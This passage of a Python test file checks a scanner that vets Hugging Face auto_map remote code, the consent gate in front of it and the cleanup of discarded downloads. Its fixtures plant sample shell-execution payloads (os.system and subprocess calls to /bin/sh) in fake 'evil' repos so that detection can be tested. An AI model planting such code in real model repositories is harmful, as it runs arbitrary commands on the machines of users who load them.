# dangerous helper.py must still be flagged.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
p = Path(tempfile.mkdtemp()) / fn
|
|
if fn == "config.json":
|
|
p.write_text(
|
|
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
|
|
)
|
|
elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
|
|
p.write_text("from .helper import run\n") # benign entry, imports helper
|
|
elif repo == "evilorg/evilrepo" and fn == "helper.py":
|
|
p.write_text("import os\nos.system('id')\n") # the dangerous import
|
|
elif fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn)
|
|
else:
|
|
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
|
|
return str(p)
|
|
|
|
def _list(repo, token = None):
|
|
if repo == "evilorg/evilrepo":
|
|
return ["modeling_evil.py", "helper.py"]
|
|
return [] # victim/model own repo ships no .py (code is all external)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", side_effect = _list),
|
|
):
|
|
files = repo_remote_code_files("victim/model")
|
|
assert "evilorg/evilrepo--helper.py" in files # the imported helper was scanned
|
|
assert not scan_remote_code_files(files).clean # helper's os.system is flagged
|
|
|
|
def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self):
|
|
# A config names an own-repo .py the repo no longer ships (a stale ref, e.g.
|
|
# PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py).
|
|
# The absent file cannot run, so ignore it and scan the present .py, not fail closed.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
p = Path(tempfile.mkdtemp()) / fn
|
|
if fn == "config.json":
|
|
p.write_text(json.dumps({"model_type": "x"}))
|
|
elif fn == "tokenizer_config.json":
|
|
p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}}))
|
|
elif fn == "processing_paddleocr_vl.py":
|
|
p.write_text("import torch\n") # the real, present file
|
|
elif fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn)
|
|
else:
|
|
raise RuntimeError(f"stale/absent file must not be fetched: {fn}")
|
|
return str(p)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch(
|
|
"huggingface_hub.list_repo_files",
|
|
return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"],
|
|
),
|
|
):
|
|
files = repo_remote_code_files("unsloth/PaddleOCR-VL")
|
|
assert files != {}, "must not fail closed: present .py are scannable"
|
|
assert "processing_paddleocr_vl.py" in files # present file scanned
|
|
assert "processing_ppocrvl.py" not in files # stale ref ignored, never fetched
|
|
|
|
def test_present_referenced_py_fetch_failure_still_fails_closed(self):
|
|
# The stale-ref relaxation must not weaken the present-file guarantee: a listed .py
|
|
# that cannot be fetched (transient) still fails closed, since transformers would run it.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if fn == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / fn
|
|
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
|
|
return str(p)
|
|
if fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn)
|
|
raise RuntimeError(
|
|
"transient fetch failure"
|
|
) # modeling_x.py is present but unfetchable
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]),
|
|
):
|
|
with pytest.raises(RemoteCodeUnscannable): # present-but-unfetchable -> fail closed
|
|
repo_remote_code_files("third/party")
|
|
|
|
def test_external_tokenizer_auto_map_list_is_scanned(self):
|
|
# transformers encodes a tokenizer auto_map as a [slow, fast] list, e.g.
|
|
# {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}; the external code
|
|
# in the list must be fetched + scanned, not skipped for being a list.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
p = Path(tempfile.mkdtemp()) / fn
|
|
if fn == "config.json":
|
|
p.write_text(json.dumps({"model_type": "llama"}))
|
|
elif fn == "tokenizer_config.json":
|
|
p.write_text(
|
|
json.dumps(
|
|
{
|
|
"auto_map": {
|
|
"AutoTokenizer": [
|
|
"evilorg/evilrepo--tokenization_evil.EvilTokenizer",
|
|
None,
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py":
|
|
p.write_text("import os\nos.system('id')\n")
|
|
elif fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn) # victim repo ships no image/processor config
|
|
else:
|
|
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
|
|
return str(p)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", return_value = []),
|
|
):
|
|
files = repo_remote_code_files("victim/model")
|
|
assert "evilorg/evilrepo--tokenization_evil.py" in files
|
|
assert not scan_remote_code_files(files).clean # the external tokenizer code is flagged
|
|
|
|
def test_unreachable_external_ref_is_unscannable(self):
|
|
# If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if fn == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(
|
|
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
|
|
)
|
|
return str(p)
|
|
if fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config
|
|
raise RuntimeError("download failed") # the external repo's .py is unreachable
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", return_value = []),
|
|
):
|
|
with pytest.raises(RemoteCodeUnscannable):
|
|
repo_remote_code_files("victim/model")
|
|
|
|
def test_unrelated_local_py_is_still_scanned(self, tmp_path):
|
|
# Deliberate broad scan (not narrowed to the import closure): a .py the entry does
|
|
# not statically import is still scanned, since the entry can reach it via
|
|
# importlib / exec / absolute import. Closure-only scanning would be a bypass.
|
|
(tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}')
|
|
(tmp_path / "modeling_ok.py").write_text("import torch\n") # benign entry, imports nothing
|
|
(tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n") # never imported
|
|
files = repo_remote_code_files(str(tmp_path))
|
|
assert "unrelated.py" in files # scanned despite not being referenced by auto_map
|
|
assert not scan_remote_code_files(files).clean # its os.system is flagged
|
|
|
|
def test_external_mis_derived_dotted_ref_dropped_when_real_present(self):
|
|
# A subpackage ref "evilorg/evilrepo--pkg.modeling_evil.M" derives
|
|
# "pkg.modeling_evil.py", but the real file is "pkg/modeling_evil.py" (present).
|
|
# The mis-derived name must be dropped (not fetched and failed closed) while the
|
|
# present file is scanned, like the own-repo stale-ref guard.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if fn == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(
|
|
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}})
|
|
)
|
|
return str(p)
|
|
if fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn)
|
|
if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py":
|
|
p = Path(tempfile.mkdtemp()) / "modeling_evil.py"
|
|
p.write_text("import os\nos.system('id')\n")
|
|
return str(p)
|
|
# The mis-derived dotted name must never be fetched.
|
|
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
|
|
|
|
def _list(repo, token = None):
|
|
if repo == "evilorg/evilrepo":
|
|
return ["pkg/modeling_evil.py"]
|
|
return [] # victim/model ships no own .py
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", side_effect = _list),
|
|
):
|
|
files = repo_remote_code_files("victim/model")
|
|
assert "evilorg/evilrepo--pkg/modeling_evil.py" in files # real file scanned
|
|
assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files # mis-derived dropped
|
|
assert not scan_remote_code_files(files).clean # os.system flagged
|
|
|
|
def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path):
|
|
# Decline cleanup needs the external auto_map repo ids so their code is not left
|
|
# cached; external_auto_map_repos lists the repos a config references.
|
|
from utils.security.remote_code_scan import external_auto_map_repos
|
|
|
|
(tmp_path / "config.json").write_text(
|
|
'{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}'
|
|
)
|
|
(tmp_path / "tokenizer_config.json").write_text(
|
|
'{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}'
|
|
)
|
|
repos = external_auto_map_repos(str(tmp_path))
|
|
assert repos == {"evilorg/evilrepo", "other/repo"}
|
|
|
|
# A config with only own-repo code yields no external repos.
|
|
(tmp_path / "plain").mkdir()
|
|
(tmp_path / "plain" / "config.json").write_text(
|
|
'{"auto_map": {"AutoModel": "modeling_local.M"}}'
|
|
)
|
|
assert external_auto_map_repos(str(tmp_path / "plain")) == set()
|
|
|
|
def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self):
|
|
# A GGUF repo whose config.json has a vestigial auto_map but ships no .py: the
|
|
# listing succeeds with nothing to run, so the result is an empty dict, not a
|
|
# raise (which would false-block). Real shape of a Nemotron-Ultra GGUF.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
p = Path(tempfile.mkdtemp()) / fn
|
|
if fn == "config.json":
|
|
p.write_text(
|
|
json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}})
|
|
)
|
|
return str(p)
|
|
raise EntryNotFoundError(fn) # no other config, and modeling_decilm.py is absent
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch(
|
|
"huggingface_hub.list_repo_files",
|
|
return_value = ["config.json", "model-00001-of-00097.gguf"],
|
|
),
|
|
):
|
|
files = repo_remote_code_files("unsloth/Some-Model-GGUF")
|
|
assert files == {} # no executable code -> empty (no raise)
|
|
|
|
def test_tokenizer_only_auto_map_is_gated(self, tmp_path):
|
|
# config.json is plain but tokenizer_config.json declares auto_map: an
|
|
# AutoTokenizer(trust_remote_code=True) load runs that code, so scan + block it.
|
|
from utils.security import preflight_remote_code_consent
|
|
|
|
(tmp_path / "config.json").write_text('{"model_type": "llama"}')
|
|
(tmp_path / "tokenizer_config.json").write_text(
|
|
'{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}'
|
|
)
|
|
(tmp_path / "tokenization_evil.py").write_text(
|
|
"import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n"
|
|
)
|
|
d = preflight_remote_code_consent(str(tmp_path), trusted_org = False)
|
|
assert d.has_remote_code is True
|
|
assert d.blocked is True
|
|
assert d.fingerprint
|
|
|
|
def test_config_file_list_covers_transformers_auto_map_sources(self):
|
|
# transformers reads auto_map only from a fixed set of config files (filename
|
|
# constants). Pin our scanned set to those exact constants from the installed
|
|
# transformers, so an upgrade that adds/renames an auto_map config trips here
|
|
# instead of silently leaving its code unscanned.
|
|
from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE
|
|
from transformers.utils import (
|
|
CONFIG_NAME,
|
|
FEATURE_EXTRACTOR_NAME,
|
|
IMAGE_PROCESSOR_NAME,
|
|
PROCESSOR_NAME,
|
|
VIDEO_PROCESSOR_NAME,
|
|
)
|
|
|
|
expected = {
|
|
CONFIG_NAME, # AutoConfig / AutoModel
|
|
TOKENIZER_CONFIG_FILE, # AutoTokenizer
|
|
FEATURE_EXTRACTOR_NAME, # AutoFeatureExtractor (preprocessor_config.json)
|
|
IMAGE_PROCESSOR_NAME, # AutoImageProcessor (preprocessor_config.json)
|
|
PROCESSOR_NAME, # AutoProcessor
|
|
VIDEO_PROCESSOR_NAME, # AutoVideoProcessor
|
|
}
|
|
missing = expected - set(REMOTE_CODE_CONFIG_FILES)
|
|
assert not missing, (
|
|
"transformers reads auto_map from config files the consent gate does not "
|
|
f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES."
|
|
)
|
|
|
|
def test_load_configs_returns_empty_list_when_all_404(self):
|
|
# A remote repo shipping none of the auto_map configs (every fetch 404s) returns
|
|
# [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None
|
|
# would force a scan and, for a code-less repo, a false unscannable block.
|
|
with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")):
|
|
configs = consent._load_remote_code_configs("some/plain-repo")
|
|
assert configs == []
|
|
# And a transient error on a config -> None (unknown -> caller scans).
|
|
with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")):
|
|
configs = consent._load_remote_code_configs("some/gated-repo")
|
|
assert configs is None
|
|
|
|
def test_gguf_repo_auto_map_is_ignored(self):
|
|
# A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it,
|
|
# so _config_has_auto_map must return False and skip the consent flow.
|
|
def _dl(
|
|
repo_id = None,
|
|
filename = None,
|
|
token = None,
|
|
**kw,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if filename == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(
|
|
json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
|
|
)
|
|
return str(p)
|
|
raise EntryNotFoundError(filename)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch(
|
|
"huggingface_hub.list_repo_files",
|
|
return_value = ["config.json", "model-00001-of-00097.gguf"],
|
|
),
|
|
):
|
|
assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False
|
|
|
|
def test_direct_gguf_file_reference_has_no_auto_map(self):
|
|
# A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call.
|
|
with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
|
|
assert consent._config_has_auto_map("org/repo/model.gguf") is False
|
|
|
|
def test_remote_repo_named_gguf_is_not_suffix_skipped(self):
|
|
# A two-segment repo id whose name ends in ".gguf" is not a direct file reference:
|
|
# it can still ship safetensors + auto_map Python, so it must be scanned.
|
|
def _dl(
|
|
repo_id = None,
|
|
filename = None,
|
|
token = None,
|
|
**kw,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if filename == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
|
|
return str(p)
|
|
raise EntryNotFoundError(filename)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch(
|
|
"huggingface_hub.list_repo_files",
|
|
return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"],
|
|
),
|
|
):
|
|
# Ships safetensors -> not a GGUF-only repo -> the auto_map gates.
|
|
assert consent._config_has_auto_map("evil/model.gguf") is True
|
|
|
|
def test_mixed_gguf_and_safetensors_repo_is_still_gated(self):
|
|
# A repo with both .gguf and .safetensors is not treated as GGUF: the safetensors
|
|
# could load via transformers where auto_map runs, so the gate must still apply.
|
|
def _dl(
|
|
repo_id = None,
|
|
filename = None,
|
|
token = None,
|
|
**kw,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if filename == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}))
|
|
return str(p)
|
|
raise EntryNotFoundError(filename)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch(
|
|
"huggingface_hub.list_repo_files",
|
|
return_value = ["config.json", "model.safetensors", "model.gguf"],
|
|
),
|
|
):
|
|
assert consent._config_has_auto_map("org/Mixed-Repo") is True
|
|
|
|
def test_mixed_gguf_and_bin_repo_is_still_gated(self):
|
|
# A repo with .gguf + a non-safetensors transformers weight (.bin/.pt/.pth/.h5/
|
|
# .msgpack/.onnx/.ckpt) is not GGUF-only: transformers can load it and run
|
|
# auto_map, so the gate still applies even with no .safetensors present.
|
|
def _dl(
|
|
repo_id = None,
|
|
filename = None,
|
|
token = None,
|
|
**kw,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
if filename == "config.json":
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
|
|
return str(p)
|
|
raise EntryNotFoundError(filename)
|
|
|
|
for weight in (
|
|
"pytorch_model.bin",
|
|
"model.pt",
|
|
"model.pth",
|
|
"tf_model.h5",
|
|
"flax_model.msgpack",
|
|
"model.onnx",
|
|
"model.ckpt",
|
|
):
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch(
|
|
"huggingface_hub.list_repo_files",
|
|
return_value = ["config.json", "modeling_x.py", weight, "model.gguf"],
|
|
),
|
|
):
|
|
assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight
|
|
|
|
|
|
# POST /discard-remote-code: purge what the scan downloaded on decline, but never a
|
|
# model the user already had (weights), a loaded model, or a local path.
|
|
|
|
|
|
class TestDiscardRemoteCodeDownload:
|
|
@staticmethod
|
|
def _fake_cache(filenames):
|
|
files = [
|
|
SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}")
|
|
for fn in filenames
|
|
]
|
|
rev = SimpleNamespace(commit_hash = "deadbeef", files = files)
|
|
repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev])
|
|
return SimpleNamespace(repos = [repo], delete_revisions = MagicMock())
|
|
|
|
def _run(self, model_name, cache_scans):
|
|
import asyncio
|
|
|
|
import routes.models as M
|
|
|
|
not_loaded = SimpleNamespace(active_model_name = None)
|
|
with (
|
|
patch.object(M, "is_local_path", return_value = model_name.startswith("/")),
|
|
patch.object(M, "_all_hf_cache_scans", return_value = cache_scans),
|
|
patch.object(M, "get_inference_backend", return_value = not_loaded),
|
|
patch(
|
|
"routes.inference.get_llama_cpp_backend",
|
|
return_value = SimpleNamespace(is_loaded = False, model_identifier = None),
|
|
),
|
|
):
|
|
return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t"))
|
|
|
|
def test_purges_metadata_only_entry(self):
|
|
cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"])
|
|
res = self._run("evil/repo", [cache])
|
|
assert res["deleted"] is True
|
|
cache.delete_revisions.assert_called_once_with("deadbeef")
|
|
|
|
def test_refuses_when_weights_present(self):
|
|
cache = self._fake_cache(["config.json", "model.safetensors"])
|
|
res = self._run("evil/repo", [cache])
|
|
assert res == {"deleted": False, "reason": "has_weights"}
|
|
cache.delete_revisions.assert_not_called()
|
|
|
|
def test_refuses_when_gguf_present(self):
|
|
cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"])
|
|
res = self._run("evil/repo", [cache])
|
|
assert res["reason"] == "has_weights"
|
|
|
|
def test_refuses_local_path(self):
|
|
res = self._run("/home/me/model", [])
|
|
assert res == {"deleted": False, "reason": "local"}
|
|
|
|
def test_noop_when_not_cached(self):
|
|
res = self._run("evil/repo", [])
|
|
assert res == {"deleted": False, "reason": "not_cached"}
|
|
|
|
def test_route_source_reports_created_by_scan(self):
|
|
src = (_BACKEND / "routes/models.py").read_text()
|
|
assert "created_by_scan" in src
|
|
assert "discard-remote-code" in src
|